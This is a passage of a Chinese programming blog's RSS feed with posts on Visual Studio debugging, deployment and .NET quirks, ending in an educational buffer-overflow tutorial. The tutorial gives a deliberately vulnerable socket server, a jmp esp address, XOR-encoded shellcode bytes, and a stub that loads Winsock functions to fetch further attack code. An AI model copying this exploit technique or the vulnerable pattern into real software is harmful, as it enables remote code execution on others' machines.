href="http://cid-cdf8c6a11ba3c6c6.office.live.com/self.aspx/.Public/blog/winwq.zip"><br><br>源码下载</a><img src="http://blog.vckbase.com/localvar/aggbug/26853.html" width=1 height=1> 
<img src ="http://www.cppblog.com/localvar/aggbug/132775.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/localvar/" target="_blank">局部变量</a> 2007-06-11 09:27 <a href="http://www.cppblog.com/localvar/archive/2007/06/11/132775.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>调试托管代码调用的本机代码</title><link>http://www.cppblog.com/localvar/archive/2007/04/17/132778.html</link><dc:creator>局部变量</dc:creator><author>局部变量</author><pubDate>Tue, 17 Apr 2007 06:32:00 GMT</pubDate><guid>http://www.cppblog.com/localvar/archive/2007/04/17/132778.html</guid><description><![CDATA[本来不是什么大问题，不过鉴于我对.net的熟悉程度，和半天的时间，还是记录一下。另外blog也好久没更新了，顺便刷一篇。<br><br>本问题涉及到两个模块: a.dll: c++编写，本机代码；b.exe: c#编写，托管代码。b调用a，运行时有点问题，但不确定是哪边的原因，故开始debug。但发现，不管是从a启动还是从b启动，调试器都跟不进a的源代码。浪费一上午的时间后发现，进行如下设置即可：<br>如果从a启动，&#8220;a的项目属性|Debugging|Debugger Type&#8221;必须设为&#8220;Mixed&#8221;或&#8220;Native Only&#8221;。这一点上我一开始被默认值&#8220;Auto&#8221;给误导了，以为调试器会智能选择，没想到它&#8220;大智若愚&#8221;。<br>如果从b启动，则需要选中&#8220;b的项目属性|Debug|Enable unmanaged code debugging&#8221;。<br><br><br>另外C#调用COM时传递数组的方法，参见：<a href="http://support.microsoft.com/kb/305990/zh-cn">http://support.microsoft.com/kb/305990/zh-cn</a><img src="http://blog.vckbase.com/localvar/aggbug/25538.html" width=1 height=1> 
<img src ="http://www.cppblog.com/localvar/aggbug/132778.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/localvar/" target="_blank">局部变量</a> 2007-04-17 14:32 <a href="http://www.cppblog.com/localvar/archive/2007/04/17/132778.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>vs2005编译的程序不能运行的几个解决方法</title><link>http://www.cppblog.com/localvar/archive/2007/01/31/132734.html</link><dc:creator>局部变量</dc:creator><author>局部变量</author><pubDate>Wed, 31 Jan 2007 08:34:00 GMT</pubDate><guid>http://www.cppblog.com/localvar/archive/2007/01/31/132734.html</guid><description><![CDATA[<div>&nbsp;&nbsp;&nbsp; 这两天有点焦头烂额, 我们这边运行的好好的程序, 到了测试的机器上就不能启动(是根本运行不了, 而不是运行出错), 弄得我异常郁闷. 经过了一番摸索, 发现和winxp、win2003中为解决dll hell而引入的manifest机制有关系. 而以前我们用vs2003开发, 它并没有强制程序使用manifest, 但到了vs2005中, 这已经改成必需的了, 而我们并没有按照需要进行相关的配置, 所以程序启动不了了. 根据目前的经验, vs2005编译的程序不能启动大致有两个原因, 下面简单介绍解决办法.<br><strong>1. 在开发组的机器上(安装有vs2005)有时都不能启动<br></strong>&nbsp;&nbsp;&nbsp; 这一般是项目的文件被放在了fat/fat32分区上导致的, 解决方法是把它们都移动到ntfs分区上, 或者把&#8220;项目属性|Manifest Tool|General|Use FAT32 Work-around&#8221;设为yes.<br><strong>2. 开发组运行正常, 换到其它机器上就不行了</strong><br>&nbsp;&nbsp;&nbsp; 这一般就是系统dll(包括crt,mfc,atl等)没有正确配置导致的. 如果程序是release版, 那么很简单, 只要把&#8220;<vs2005安装文件夹 />\SDK\v2.0\BootStrapper\Packages\vcredist_x86&#8221;下的"vcredist_x86.exe"拷贝到目标机器上运行即可, 这是以x86平台为例的, 如果你用的是别的cpu平台(amd64或ia64)把x86替换成相应的内容就可以了.<br>&nbsp;&nbsp;&nbsp; 如果是debug版, 就复杂一些了, 首先要确定你需要的dll的版本, 绝大多数(注意:不是"所有")情况下它和编译器的版本相同, 通过vs2005的关于对话框就能看到, 如下图所示:</div>
<img border=0 hspace=0 alt="" src="http://www.cppblog.com/images/vckbase_com/localvar/1120/o_vs2005.GIF">
<div>确定版本后, 在开发组的机器上进入&#8220;%windir%\winsxs"文件夹(下面将以<span style="COLOR: red">x86</span>平台<span style="COLOR: red">8.0.50727.762</span>版本的<span style="COLOR: red">debug crt</span>为例进行说明), 拷贝以下文件到目标机器的相同位置即可: <span style="COLOR: red"></span></div>
<div><span style="COLOR: red"></span>&nbsp;</div>
<div><span style="COLOR: red">x86</span>_Microsoft.VC80.<span style="COLOR: red">DebugCRT</span>_1fc8b3b9a1e18e3b_<span style="COLOR: red">8.0.50727.762</span>_x-ww_5490cd9f文件夹下的所有文件<br><br>Manifests文件夹下的<span style="COLOR: red">x86</span>_Microsoft.VC80.<span style="COLOR: red">DebugCRT</span>_1fc8b3b9a1e18e3b_<span style="COLOR: red">8.0.50727.762</span>_x-ww_5490cd9f.cat和<span style="COLOR: red">x86</span>_Microsoft.VC80.<span style="COLOR: red">DebugCRT</span>_1fc8b3b9a1e18e3b_<span style="COLOR: red">8.0.50727.762</span>_x-ww_5490cd9f.manifest<br><br>Policies\<span style="COLOR: red">x86</span>_policy.8.0.Microsoft.VC80.<span style="COLOR: red">DebugCRT</span>_1fc8b3b9a1e18e3b_x-ww_09e017b4文件夹下的<span style="COLOR: red">8.0.50727.762</span>.cat和 <span style="COLOR: red">8.0.50727.762</span>.policy<br><br>&nbsp;&nbsp;&nbsp; 注意, 上面的操作只是在目标操作系统为winxp,win2003及以上时才需要的, 如果是win2000及以下的系统, 只要把第一个文件夹下的文件拷贝到system32中就行了.<br><br></div>
<div><strong>附:<br></strong><br>msdn上有关vc应用程序部署的几片文章, 供参考<br><a href="http://msdn2.microsoft.com/en-us/library/ms235342.aspx">Troubleshooting C/C++ Isolated Applications and Side-by-side Assemblies</a><br><a href="http://msdn2.microsoft.com/en-us/library/ms235285(VS.80).aspx">Deployment Examples</a><br><br><br>以下是与这个问题相关的一些系统提示信息, 为了让碰到这些问题的人更容易搜到这篇文章, 我把它们列在这里.<br>参照的汇编没有安装在系统上<br>应用程序要求的组件版本同另一个活动的组件有冲突。<br>系统无法执行指定的程序<br>ERROR_SXS_ASSEMBLY_NOT_FOUND<br>14003<br>0x800736B3<br>The referenced assembly is not installed on your system. </div>
<img src="http://blog.vckbase.com/localvar/aggbug/24367.html" width=1 height=1> 
<img src ="http://www.cppblog.com/localvar/aggbug/132734.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/localvar/" target="_blank">局部变量</a> 2007-01-31 16:34 <a href="http://www.cppblog.com/localvar/archive/2007/01/31/132734.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>用ntfs流隐藏文件</title><link>http://www.cppblog.com/localvar/archive/2005/11/13/132744.html</link><dc:creator>局部变量</dc:creator><author>局部变量</author><pubDate>Sun, 13 Nov 2005 12:58:00 GMT</pubDate><guid>http://www.cppblog.com/localvar/archive/2005/11/13/132744.html</guid><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: &nbsp;&nbsp;&nbsp; 大家把ntfs分区上的文件拷贝到非ntfs分区上时, 可能偶尔遇到过下面的情况, 系统提示会有数据丢失, 这是怎么回事呢? &nbsp;&nbsp;&nbsp; 实际上ntfs文件系统引入了"流"这个概念, 每个文件都可以有多个流, 而我们一般只使用了一个, 通过给文件分配更多的流, 可以实现某种意义上的"文件隐藏". 例如可以控制台中使用下面的命令建立一个文...&nbsp;&nbsp;<a href='http://www.cppblog.com/localvar/archive/2005/11/13/132744.html'>阅读全文</a><img src ="http://www.cppblog.com/localvar/aggbug/132744.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/localvar/" target="_blank">局部变量</a> 2005-11-13 20:58 <a href="http://www.cppblog.com/localvar/archive/2005/11/13/132744.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>vs2003中文版IDE的两个翻译错误</title><link>http://www.cppblog.com/localvar/archive/2005/08/11/132749.html</link><dc:creator>局部变量</dc:creator><author>局部变量</author><pubDate>Thu, 11 Aug 2005 11:38:00 GMT</pubDate><guid>http://www.cppblog.com/localvar/archive/2005/08/11/132749.html</guid><description><![CDATA[<p>1. 文本编辑器的&#8220;撤销/重做&#8221;列表: 每次输入, 其中的内容都是&#8220;"xxx"类型&#8221;, 令我莫名其妙, 直到一次发现word在相同情况下会显示&#8220;键入"xxx"&#8221;, 才知道是微软把&#8220;type "xxx"&#8221;翻译错了.<br>2. "选项"对话框中的"环境|常规|停靠工具窗口行为"里的&#8220;只有"关闭"按钮影响活动选项卡&#8221;和&#8220;只有"自动隐藏"按钮影响活动选项卡&#8221;分别应该是&#8220;"关闭"按钮只影响活动选项卡&#8221;和&#8220;"自动隐藏"按钮只影响活动选项卡&#8221;。不知道英文是怎么写的，居然能翻译成这样。</p>
<p>解决方法：<br>用IDE打开&#8220;{vs2003安装目录}\Common7\IDE\2052\msenvui.dll&#8221;，修改字符串资源13654和对话框资源4402。保存并重启ide即可。</p>
<img src="http://blog.vckbase.com/localvar/aggbug/10748.html" width=1 height=1> 
<img src ="http://www.cppblog.com/localvar/aggbug/132749.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/localvar/" target="_blank">局部变量</a> 2005-08-11 19:38 <a href="http://www.cppblog.com/localvar/archive/2005/08/11/132749.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Sql Server的密码原来不区分大小写</title><link>http://www.cppblog.com/localvar/archive/2005/07/29/132750.html</link><dc:creator>局部变量</dc:creator><author>局部变量</author><pubDate>Fri, 29 Jul 2005 08:32:00 GMT</pubDate><guid>http://www.cppblog.com/localvar/archive/2005/07/29/132750.html</guid><description><![CDATA[<p>今天才知道，原来一般情况下sqlserver的登录密码不分大小写，被惯性思维蒙了这么长时间，以前登录的时候一直对密码的大小写很小心。不过这一点是可以改的，与默认的排序规则相关.<br><br>ps: 同时记录一个.NET问题的解决方法，一般的.Net应用程序如果使用了Application.EnableVisualStyles()，工具栏和树形控件的图标就显示不了了，解决方式是马上调一下Application.DoEvents()，如下：</p>
<div style="BORDER-BOTTOM: windowtext 0.5pt solid; BORDER-LEFT: windowtext 0.5pt solid; PADDING-BOTTOM: 4px; PADDING-LEFT: 5.4pt; WIDTH: 98%; PADDING-RIGHT: 5.4pt; BACKGROUND: #e6e6e6; BORDER-TOP: windowtext 0.5pt solid; BORDER-RIGHT: windowtext 0.5pt solid; PADDING-TOP: 4px">
<div><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">static</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">void</span><span style="COLOR: #000000">&nbsp;Main()&nbsp;<br><img id=Codehighlighter1_22_137_Open_Image onclick="this.style.display='none'; Codehighlighter1_22_137_Open_Text.style.display='none'; Codehighlighter1_22_137_Closed_Image.style.display='inline'; Codehighlighter1_22_137_Closed_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockStart.gif"><img style="DISPLAY: none" id=Codehighlighter1_22_137_Closed_Image onclick="this.style.display='none'; Codehighlighter1_22_137_Closed_Text.style.display='none'; Codehighlighter1_22_137_Open_Image.style.display='inline'; Codehighlighter1_22_137_Open_Text.style.display='inline';" align=top src="http://www.cppblog.com/Images/OutliningIndicators/ContractedBlock.gif">&nbsp;</span><span style="BORDER-BOTTOM: #808080 1px solid; BORDER-LEFT: #808080 1px solid; BACKGROUND-COLOR: #ffffff; DISPLAY: none; BORDER-TOP: #808080 1px solid; BORDER-RIGHT: #808080 1px solid" id=Codehighlighter1_22_137_Closed_Text><img src="http://www.cppblog.com/Images/dot.gif"></span><span id=Codehighlighter1_22_137_Open_Text><span style="COLOR: #000000">{<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;Application.EnableVisualStyles();<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif">&nbsp;&nbsp;&nbsp;&nbsp;Application.DoEvents();&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;加上这一句</span><span style="COLOR: #008000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/InBlock.gif"></span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;Application.Run(</span><span style="COLOR: #0000ff">new</span><span style="COLOR: #000000">&nbsp;MainForm());<br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/ExpandedBlockEnd.gif">&nbsp;}</span></span><span style="COLOR: #000000"><br><img align=top src="http://www.cppblog.com/Images/OutliningIndicators/None.gif"></span></div>
</div>
<img src="http://blog.vckbase.com/localvar/aggbug/10257.html" width=1 height=1> 
<img src ="http://www.cppblog.com/localvar/aggbug/132750.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/localvar/" target="_blank">局部变量</a> 2005-07-29 16:32 <a href="http://www.cppblog.com/localvar/archive/2005/07/29/132750.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>缓冲区溢出攻防</title><link>http://www.cppblog.com/localvar/archive/2005/07/25/132752.html</link><dc:creator>局部变量</dc:creator><author>局部变量</author><pubDate>Mon, 25 Jul 2005 13:21:00 GMT</pubDate><guid>http://www.cppblog.com/localvar/archive/2005/07/25/132752.html</guid><description><![CDATA[<p align=justify><a href="http://cid-cdf8c6a11ba3c6c6.office.live.com/self.aspx/.Public/blog/Overflow.zip">源码下载</a>&nbsp;(<font color=#ff3333>很多人找我要源码, 就直接放这吧, 但只是雕虫小技, 大家自己玩玩就行了, 不要用于其他用途</font>)<br>&nbsp;&nbsp;&nbsp;&nbsp;很久以来，在人们心目中，&#8220;黑客&#8221;和病毒作者的身上总是笼罩着一层神秘的光环，他们被各种媒体描述成技术高手甚至技术天才，以至于有些人为了证明自己的&#8220;天才&#8221;身份而走上歧途，甚至违法犯罪。记得不久前就看到过这样一个案例：一位计算机专业研究生入侵了一家商业网站并删除了所有数据。当他在狱中接受记者的采访时，他非常自豪地说这样做只是为了证明自己和获得那种成就感。 <br>&nbsp;&nbsp;&nbsp;&nbsp;本文讨论的缓冲区溢出攻击实际上是一项非常&#8220;古老&#8221;的技术，但它的破坏力依然不可小视——相信大家都还没有忘记几个月之前的&#8220;冲击波&#8221;。文中的代码实例几乎就是一个真实的病毒了，其中的一些技术你可能没有见过，但我可以很负责任的说它没有使用任何高深的技术，我没有进ring0，没有写设备驱动，甚至连汇编代码也只用了非常简单的11句。我希望此文能让大家重新认识一下&#8220;黑客&#8221;和病毒作者，把他们从神坛上&#8220;拉&#8221;下来。我更要提醒大家把那位&#8220;研究生&#8221;作为前车之鉴，不要滥用这项技术，否则必将玩火自焚。下面就进入正题。</p>
<h3>什么是缓冲区溢出</h3>
<p>&nbsp;&nbsp;&nbsp;&nbsp;你一定用strcpy拷贝过字符串吧？那，如果拷贝时目的字符串的缓冲区的长度小于源字符串的长度，会发生什么呢？对，源字符串中多余的字符会覆盖掉进程的其它数据。这种现象就叫缓冲区溢出。根据被覆盖数据的位置的不同，缓冲区溢出分为静态存储区溢出、栈溢出和堆溢出三种。而发生溢出后，进程可能的表现也有三种：一是运行正常，这时，被覆盖的是无用数据，并且没有发生访问违例；二是运行出错，包括输出错误和非法操作等；第三种就是受到攻击，程序开始执行有害代码，此时，哪些数据被覆盖和用什么数据来覆盖都是攻击者精心设计的。 <br>&nbsp;&nbsp;&nbsp;&nbsp;一般情况下，静态存储区和堆上的缓冲区溢出漏洞不大可能被攻击者利用。而栈上的漏洞则具有极大的危险性，所以我们的讲解也以栈上的缓冲区溢出为例。</p>
<h3>攻击原理</h3>
<p><font face=宋体>&nbsp;&nbsp;&nbsp;&nbsp;要进行攻击，先得找到靶子。所以我就准备了一个叫做&#8220;victim&#8221;的程序作为被攻击对象，它在逻辑上等价于下面的代码： </font></p>
<pre>void GetComputerName(SOCKET sck, LPSTR szComputer)
{
&nbsp;&nbsp;&nbsp; char szBuf[512];
&nbsp;&nbsp;&nbsp; recv(sck, szBuf, sizeof(szBuf), 0);
&nbsp;&nbsp;&nbsp; LPSTR szFileName = szBuf;
&nbsp;&nbsp;&nbsp; while((*szFileName) == '\\')
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; szFileName++;
&nbsp;&nbsp;&nbsp; while((*szFileName) != '\\' &amp;&amp; (*szFileName) != '\0')
&nbsp;&nbsp;&nbsp; {
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *szComputer = *szFileName;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; szComputer++;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; szFileName++;
&nbsp;&nbsp;&nbsp; }&nbsp;
&nbsp;&nbsp;&nbsp;&nbsp;*szComputer = '\0';
}
void ShowComputerName(SOCKET sck)
{
&nbsp;&nbsp;&nbsp; char szComputer[16];
&nbsp;&nbsp;&nbsp; GetComputerName(sck, szComputer);
&nbsp;&nbsp;&nbsp; // mov ecx,dword ptr [esp+4]
&nbsp;&nbsp;&nbsp; // sub esp,10h; ———②
&nbsp;&nbsp;&nbsp; // lea eax,[esp]
&nbsp;&nbsp;&nbsp; // push eax
&nbsp;&nbsp;&nbsp; // push ecx
&nbsp;&nbsp;&nbsp; // call GetComputerName (401000h)
&nbsp;&nbsp;&nbsp; printf(szComputer);
&nbsp;&nbsp;&nbsp; // lea edx,[esp]
&nbsp;&nbsp;&nbsp; // push edx
&nbsp;&nbsp;&nbsp; // call printf (401103h)
}
&nbsp;&nbsp;&nbsp; // add esp,14h
&nbsp;&nbsp;&nbsp; // ret 4; ———③
<br>
<br>
int __cdecl main(int argc, char* argv[])
{
&nbsp;&nbsp;&nbsp; WSADATA wsa;
&nbsp;&nbsp;&nbsp; WSAStartup(MAKEWORD(2,2), &amp;wsa);
&nbsp;&nbsp;&nbsp; struct sockaddr_in saServer;
&nbsp;&nbsp;&nbsp; saServer.sin_family = AF_INET;
&nbsp;&nbsp;&nbsp; saServer.sin_port = 0xA05B; //htons(23456)
&nbsp;&nbsp;&nbsp; saServer.sin_addr.s_addr=ADDR_ANY;
&nbsp;&nbsp;&nbsp; SOCKET sckListen = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
&nbsp;&nbsp;&nbsp; bind(sckListen, (sockaddr *)&amp;saServer, sizeof(saServer));
&nbsp;&nbsp;&nbsp; listen(sckListen, 2);
&nbsp;&nbsp;&nbsp; SOCKET sckClient = accept(sckListen, NULL, NULL);// ———①
&nbsp;&nbsp;&nbsp; ShowComputerName(sckClient);
&nbsp;&nbsp;&nbsp; closesocket(sckClient);
&nbsp;&nbsp;&nbsp; closesocket(sckListen);
&nbsp;&nbsp;&nbsp; WSACleanup();
&nbsp;&nbsp;&nbsp; return 0;
}</pre>
<p>&nbsp;&nbsp;&nbsp;&nbsp;victim程序的本意是从网络上接收一个UNC（Universal Naming Convention）形式的文件名，然后从中分离出机器名并打印在屏幕上。由于正常情况下，机器名最多只有16个字节，所以ShowComputerName函数也只给szComputer分配了16个字节长的缓冲区，并且GetComputerName也没有对缓冲区的长度做任何检查。这样，ShowComputerName中就出现了一个缓冲区溢出漏洞。 <br>&nbsp;&nbsp;&nbsp;&nbsp;找到了漏洞，下一步要做的就是分析漏洞来找到具体的攻击方法。我们来看一下ShowComputerName的编译结果，每条c/c++语句下面注释中就是其编译后对应的汇编代码。对这些代码，我要说明两点：①这里使用的是stdcall调用约定，它是windows程序中最常用的调用约定，下文中的示例代码如果没有特别说明都将使用这种约定。有关各种调用约定的含义和区别，请参考相关资料。②因编译器、编译选项的不同，编译结果也可能不一样，后面的攻击代码是根据上面的编译结果编写的，我无法保证它在你的环境中也能正确执行。 <br>&nbsp;&nbsp;&nbsp;&nbsp;我在程序中标注了三个标号，下图从左至右分别是程序执行完三个标号对应的代码后堆栈的状态及esp寄存器的指向，其中每个小格代表一个字，即四字节。&nbsp;&nbsp;<img border=0 hspace=0 alt="picture 1" src="http://www.cppblog.com/images/vckbase_com/localvar/722/o_1.gif"><br>&nbsp;&nbsp;&nbsp;&nbsp;从图中可以看出，当main调用ShowComputerName时，程序会首先将它的参数压栈，然后再将其执行完毕后的返回地址压栈。进入ShowComputerName后，程序再调整esp寄存器，为局部变量分配存储空间。而ShowComputerName返回时执行的&#8220;ret 4&#8221;指令不仅让程序跳转到返回地址继续运行，还会将返回地址、函数参数从栈中弹出，使栈恢复到调用前的状态。 <br>&nbsp;&nbsp;&nbsp;&nbsp;很明显，如果UNC字符串中的机器名超过了16字节，函数ShowComputerName就会发生缓冲区溢出。为了讲解方便，下面我就开始从攻击者的角度来分析如何构造这个字符串才能让程序执行一些&#8220;意外&#8221;的代码。 <br>&nbsp;&nbsp;&nbsp;&nbsp;你可能已经发现：函数ShowComputerName的返回地址就存放在&#8220;szComputer+16&#8221;处。所以，如果我们能把返回地址改成&#8220;szComputer+20&#8221;，并从地址&#8220;szComputer+20&#8221;开始填上一些我们需要的指令对应的数据，那么我们就能达到目的了。很高兴你能想到这些，但这是不可能的，因为我们既要根据szComputer来构造字符串，又要在szComputer确定前完成构造完字符串。所以，此路不通，我们必须拐个弯才行。 <br>&nbsp;&nbsp;&nbsp;&nbsp;如果你还注意到cpu执行完&#8220;ret 4&#8221;指令后，esp指向&#8220;szComputer+24&#8221;处，那么你已经看到该在哪拐弯了。绝大多数情况下，我们能在进程的地址空间中找到一条拥有固定地址&#8220;jmp esp&#8221;指令，我们只需在&#8220;szComputer+16&#8221;处填上这条指令的地址，然后再从&#8220;szComputer+24&#8221;开始填入攻击指令就可以了。这样，ShowComputerName返回时，cpu执行&#8220;ret 4&#8221;指令，再执行&#8220;jmp esp&#8221;指令，控制权就转移到我们手里了。怎么样？很简单吧！ <br>&nbsp;&nbsp;&nbsp;&nbsp;不过你还不要高兴得太早，上面所说的只是缓冲区溢出攻击的基本原理。而理论与实际永远是有一段距离的。要真正完成攻击，我们还有好几个棘手的问题需要解决。 <br>&nbsp;&nbsp;&nbsp;&nbsp;首先是是如何处理一些不允许出现在字符串中的字符。在上面的代码中，如果我们构造的字符串的某个字节是0或者&#8220;\&#8221;，GetComputerName就会拒绝拷贝后面的数据，所以在我们的&#8220;计算机名&#8221;中不能有任何一个字节是0或&#8220;\&#8221;。&#8220;\&#8221;可能还好说一点，但一段&#8220;真正能做点事情&#8221;的代码不包括0几乎是不可能的。怎么解决这个矛盾呢？最简单的方法是异或。先写好真正的代码并编译得到结果，我称它为stubcode。然后找一个数字n，要求①0&#8804;n&#8804;255；②n是允许出现在字符串中的字符；③n与stubcode的任何一个字节异或后都是允许出现的字符。用n与stubcode逐字节进行异或，得到异或结果。很明显，要找到这样一个n，stubcode就不能太长，只是做一些简单的准备工作，然后加载后续代码完成更多的工作，这也是我把它称为stubcode的原因。其实stubcode代码也需要一个stubcode，我们就把它称为stubstubcode吧，它的任务是用n与异或结果再逐字节异或一次来恢复stubcode的原貌，然后把控制权交给stubcode。stubstubcode非常短，只有20个字节左右，通过精心设计就可能避免在其中出现不允许的字符。 <br>&nbsp;&nbsp;&nbsp;&nbsp;由于前面的分析已经证明不可能在我们构造的字符串中放上一条&#8220;jmp esp&#8221;，并修改返回地址指向它，所以第二个难题就是到哪去找&#8220;jmp esp&#8221;指令了。你可能认为进程自身是首选，因为exe文件具有固定的装入地址，只要它包含这条指令，那么指令的地址就是确定的。但我不得不遗憾的告诉你，又错了。虽然exe的装入地址不会变，但这个地址一般较低，因而找到的&#8220;jmp esp&#8221;的地址的高字节肯定是0，它不是stubcode，我们没办法对它进行异或处理。如果你看过拙作<a href="http://www.cppblog.com/localvar/archive/2005/07/21/132928.html">《nt环境下进程隐藏的实现》</a>，你肯定知道基本上每个进程都会加载kernel32.dll，且它的装入地址在同一操作系统平台上是固定的。而另一个重要事实是它的装入地址足够高，能够满足不含0字节这一要求。所以我们应该到kernel32.dll中去找。但是非常不幸，在我的winxp + sp1系统中，偌大的一个kernel32.dll，竟然没有一个&#8220;jmp esp&#8221;指令的藏身之地（我没有在其他系统上作过尝试，各位读者如有兴趣可以自己试一下）。我只好退而求其次，到user32.dll中去找了，它在系统中拥有仅次于kernel32.dll的地位。最终，我在地址0x77D437DB处发现了&#8220;jmp esp&#8221;的身影。 <br>&nbsp;&nbsp;&nbsp;&nbsp;第三个问题是如何在stubcode中调用API。《进程隐藏》一文中对此也有讨论，但情况与现在有一些不同，因为stubcode中没有现成的输入表，所以我们需要自己制作一个小的&#8220;输入表&#8221;作为stubcode的参数写到UNC字符串中，stubcode还需要其他一些参数，我把这些参数统称为stubparam。而把stubstubcode、stubparam、stubcode以及其它数据合起来构成的UNC字符串称为stub。当然，对stubparam也需要做异或处理以避免在其中出现非法字符。 <br>&nbsp;&nbsp;&nbsp;&nbsp;stubcode中也不能有直接寻址指令，原因很明显，解决办法也很简单（不让用就不用了:)），我就不再多说了。 </p>
<h3>攻击实例</h3>
<p>&nbsp;&nbsp;&nbsp;&nbsp;我们的攻击程序名叫&#8220;attacker&#8221;，攻击成功后，它将使victim进程弹出下面的消息框。&nbsp;&nbsp;<img border=0 hspace=0 alt="picture 2" src="http://www.cppblog.com/images/vckbase_com/localvar/722/o_2.jpg"><br>&nbsp;&nbsp;&nbsp;&nbsp;attacker供给的第一步是把stub（也就是UNC字符串）发送给victim，所以我们就先来看一下stub的构成，如下图所示：&nbsp;<br>&nbsp;<img border=0 hspace=0 alt="picture 3" src="http://www.cppblog.com/images/vckbase_com/localvar/722/o_3.gif"><br>&nbsp;&nbsp;&nbsp;&nbsp;其中，填充数据1用来填充返回地址前的所有内容，本例就是szComputer占用的空间；返回地址就是&#8220;jmp esp&#8221;指令的地址；填充数据2用来填充返回地址和stubstubcode之间的内容，本例是参数sck占用的空间；stubstubcode、stubparam和stubcode前面已经讲过；填充数据3则用于将stub打扮成正常字符串的样子，例如，补上结尾处的0字符等。 <br>&nbsp;&nbsp;&nbsp;&nbsp;为了使用更方便，我定义了几个结构来表示整个stub。你可以看到，它们被&#8220;#pragma pack&#8221;编译指令固定为一字节对齐，这很重要，因为它可以：①减小stub的大小。栈上可供使用的空间不多，所以stub越小越好；②阻止编译器插入用于对齐的额外字节。如果编译器在STUBSTUBCODE或STUB中插入了额外的字节，我们的一切努力都将付之东流。 </p>
<pre>#pragma pack(push) <br>#pragma pack(1) <br><br>struct STUBSTUBCODE <br>{ <br>&nbsp;&nbsp;&nbsp;&nbsp;BYTE arrConst1[4]; //0x33, 0xC9, 0x66, 0xB9 <br>&nbsp;&nbsp;&nbsp;&nbsp;WORD wXorSize; //需要进行异或处理的数据的大小 <br>&nbsp;&nbsp;&nbsp;&nbsp;BYTE arrConst2[3]; //0x8D, 0x74, 0x24 <br>&nbsp;&nbsp;&nbsp;&nbsp;BYTE byXorOffset; //需要进行异或处理的代码的起始位置(相对于esp的偏移) <br>&nbsp;&nbsp;&nbsp;&nbsp;BYTE arrConst3[4]; //0x56, 0x8A, 0x06, 0x34 <br>&nbsp;&nbsp;&nbsp;&nbsp;BYTE byXorMask; //使用此数字进行异或 <br>&nbsp;&nbsp;&nbsp;&nbsp;BYTE arrConst4[8]; //0x88, 0x06, 0x46, 0xE2, 0xF7, 0x8D, 0x44, 0x24 <br>&nbsp;&nbsp;&nbsp;&nbsp;BYTE byEntryOffset; //STUBCODE代码的入口地址(相对于esp的偏移) <br>&nbsp;&nbsp;&nbsp;&nbsp;BYTE arrConst5[2]; //0xFF, 0xD0 <br>}; <br><br>struct STUBPARAM <br>{ <br>&nbsp;&nbsp;&nbsp;&nbsp;FxLoadLibrary fnLoadLibrary; <br>&nbsp;&nbsp;&nbsp;&nbsp;FxGetProcAddr fnGetProcAddr; <br>&nbsp;&nbsp;&nbsp;&nbsp;FxVirtualAlloc fnVirtualAlloc; <br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD dwImageSize; <br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD rvaAttackerEntry; <br>&nbsp;&nbsp;&nbsp;&nbsp;char szWs2_32[11]; //ws2_32.dll <br>&nbsp;&nbsp;&nbsp;&nbsp;char szSocket[7]; //socket <br>&nbsp;&nbsp;&nbsp;&nbsp;char szBind[5]; //bind <br>&nbsp;&nbsp;&nbsp;&nbsp;char szListen[7]; //listen <br>&nbsp;&nbsp;&nbsp;&nbsp;char szAccept[7]; //accept <br>&nbsp;&nbsp;&nbsp;&nbsp;char szSend[5]; //send <br>&nbsp;&nbsp;&nbsp;&nbsp;char szRecv[5]; //recv <br>}; <br><br>struct STUB <br>{ <br>&nbsp;&nbsp;&nbsp;&nbsp;BYTE arrPadding1[18]; <br>&nbsp;&nbsp;&nbsp;&nbsp;DWORD dwJmpEsp; <br>&nbsp;&nbsp;&nbsp;&nbsp;BYTE arrPadding2[4]; <br>&nbsp;&nbsp;&nbsp;&nbsp;STUBSTUBCODE ssc; <br>&nbsp;&nbsp;&nbsp;&nbsp;STUBPARAM sp; <br>&nbsp;&nbsp;&nbsp;&nbsp;BYTE arrStubCode[1]; //实际上，这是一个变长数组 <br>}; <br><br>#pragma pack(pop)</pre>
<p>&nbsp;&nbsp;&nbsp;&nbsp;STUBSTUBCODE对应的就是本文开头提到的11条汇编语句。参照stub的整体结构，我们不难写出它的具体实现。 </p>
